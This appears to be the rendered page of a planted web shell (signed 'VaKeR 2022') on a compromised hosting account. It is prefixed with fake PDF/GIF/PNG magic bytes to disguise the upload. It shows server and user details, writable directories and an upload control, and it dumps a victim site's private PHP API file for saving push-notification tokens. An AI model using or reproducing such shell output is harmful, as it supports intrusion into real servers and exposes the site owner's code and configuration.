%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/fcm_token.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

$json = json_decode(file_get_contents("php://input"), true);

$user_id = trim($_REQUEST['user_id'] ?? $json['user_id'] ?? '');
$fcm_token = trim($_REQUEST['fcm_token'] ?? $json['fcm_token'] ?? '');
$device_type = trim($_REQUEST['device_type'] ?? $json['device_type'] ?? 'android');
$device_id = trim($_REQUEST['device_id'] ?? $json['device_id'] ?? '');

if (empty($user_id) || empty($fcm_token)) {
    response(false, "user_id and fcm_token are required", [
        "required_fields" => ["user_id", "fcm_token"]
    ]);
}

if (!empty($fcm_token)) {
    $fcm_token = mysqli_real_escape_string($conn, $fcm_token);
}

if (!empty($user_id)) {
    $user_id = (int) $user_id;
}

$check = $conn->prepare("SELECT id FROM fcm_tokens WHERE user_id=? AND fcm_token=? LIMIT 1");
$check->bind_param("is", $user_id, $fcm_token);
$check->execute();
$result = $check->get_result();

if ($result->num_rows > 0) {
    response(true, "FCM token already exists", [
        "user_id" => $user_id,
        "fcm_token" => $fcm_token
    ]);
}

$stmt = $conn->prepare(
    "INSERT INTO fcm_tokens (user_id, fcm_token, device_type, device_id, created_at) VALUES (?, ?, ?, ?, NOW())"
);

$stmt->bind_param("isss", $user_id, $fcm_token, $device_type, $device_id);

if ($stmt->execute()) {
    response(true, "FCM token saved successfully", [
        "user_id" => $user_id,
        "fcm_token" => $fcm_token,
        "device_type" => $device_type,
        "device_id" => $device_id
    ]);
} else {
    response(false, "Failed to save FCM token", [
        "mysql_error" => $stmt->error
    ]);
}

$stmt->close();
$check->close();
$conn->close();
?>

VaKeR 2022